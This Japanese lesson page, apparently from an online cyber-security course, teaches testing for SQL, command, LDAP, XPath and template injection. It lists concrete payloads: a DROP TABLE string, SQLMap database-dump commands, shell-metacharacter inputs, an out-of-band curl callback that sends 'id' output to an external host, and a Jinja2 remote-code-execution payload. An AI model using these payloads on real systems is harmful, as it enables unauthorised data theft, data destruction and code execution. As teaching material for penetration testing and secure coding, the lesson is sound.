インジェクション脆弱性のテスト
SQLMap、手動payload、Burpを使って、SQL、コマンド、LDAPインジェクションをテストします。
「インジェクション脆弱性のテスト」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。
インジェクション脆弱性の種類
インジェクションは、信頼できないデータがコマンドやクエリの一部としてインタープリターに渡されると発生します。インタープリターがデータとコマンドを区別できず、攻撃者が制御するロジックを実行してしまいます。SQL、コマンド、LDAP、XPath、テンプレートのインジェクションは、すべてこの種類に含まれます。
SQLインジェクション:手動テスト
まずは単純なペイロードを使って、SQLインジェクションの有無を調べます。脆弱なアプリケーションでは、シングルクォートによってSQL構文エラーが発生します。エラーメッセージ、レスポンスの長さの違い、レスポンス時間を確認してください。
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLi自動化のためのSQLMap
SQLMapは、SQLインジェクションの検出と悪用を自動化します。インジェクションポイントを検出し、DBMSを特定できるほか、脆弱なシステムではデータベースのダンプ、ファイルの読み取り、OS上でのコード実行も可能です。
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpコマンドインジェクションのテスト
コマンドインジェクションは、ユーザー入力がOSのシェル関数に渡されると発生します。シェルのメタ文字(セミコロン、パイプ、バッククォート)と、$()によるコマンド置換を使ってテストしてください。
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)LDAPインジェクション
LDAPインジェクションは、認証やディレクトリ検索に使われるLDAPクエリを操作します。認証フィールドに*)(uid=*))(|(uid=*を入力して、フィルターを回避できるかテストしてください。
XPathインジェクション
XPathインジェクションは、XMLベースの認証システムを標的にします。SQLiと同様に、ペイロードでXPathクエリを操作します。認証を回避するには、' or '1'='1を使用します。
テンプレートインジェクション(SSTI)
サーバーサイド・テンプレートインジェクションは、ユーザー入力がテンプレートエンジン(Jinja2、Twig、Freemarker)でレンダリングされると発生します。{{7*7}}を注入して検出します。レスポンスに49と表示されれば、SSTIが存在します。
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}インジェクションテストでBurpを使う
リクエストをRepeaterに送信し、各パラメーターにペイロードを手動で注入してください。Intruderを使えば、インジェクション用のワードリストでファジングを自動化できます(SecListsには優れたインジェクション用ペイロードが含まれています)。
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*ブラインドインジェクションの検出
目に見える出力がない場合は、実行を確認するための時間遅延、Burp Collaboratorやinteractshによる帯域外DNSコールバック、レスポンスの内容に基づく真偽判定(コンテンツの長さの変化)を使用してください。
アプリケーションのエラーメッセージを読む
詳細なエラーには、データベースの種類、クエリの構造、ファイルパスが示されるため、正確なペイロードの作成に非常に役立ちます。通常のペイロードと併せて、デバッグ情報やエラーを引き出す入力でも必ずテストしてください。
防止策の参考
インジェクションは、SQLiではパラメータ化クエリ、コマンドインジェクションでは入力検証とシェルエスケープ、SSTIではユーザー入力のテンプレートレンダリングを避けることによって防止します。安全なコードを書くには、開発者がこれらを理解する必要があります。
確認問題
レスポンスに49と表示された場合、SSTI検出用ペイロード{{7*7}}によって何が確認できますか?
まとめ: インジェクションテスト
インジェクション脆弱性は、データとコマンドを混在させることで発生します。SQL、コマンド、テンプレート、LDAPのインジェクション用ペイロードを使って、ユーザーが制御できるすべての入力をテストしてください。SQLインジェクションの自動テストにはSQLMap、手動テストにはBurp Repeater、ブラインドな悪用には時間遅延やOOBの手法を使用します。レポート用に、ペイロードと証拠を必ず記録してください。
よくある質問
「インジェクション脆弱性のテスト」レッスンは無料ですか?
はい。「インジェクション脆弱性のテスト」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。
「インジェクション脆弱性のテスト」で何を学びますか?
SQLMap、手動payload、Burpを使って、SQL、コマンド、LDAPインジェクションをテストします。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Cyber Security Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。
「インジェクション脆弱性のテスト」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このCyber Security Academyレッスンでコードを書いて実行できますか?
はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。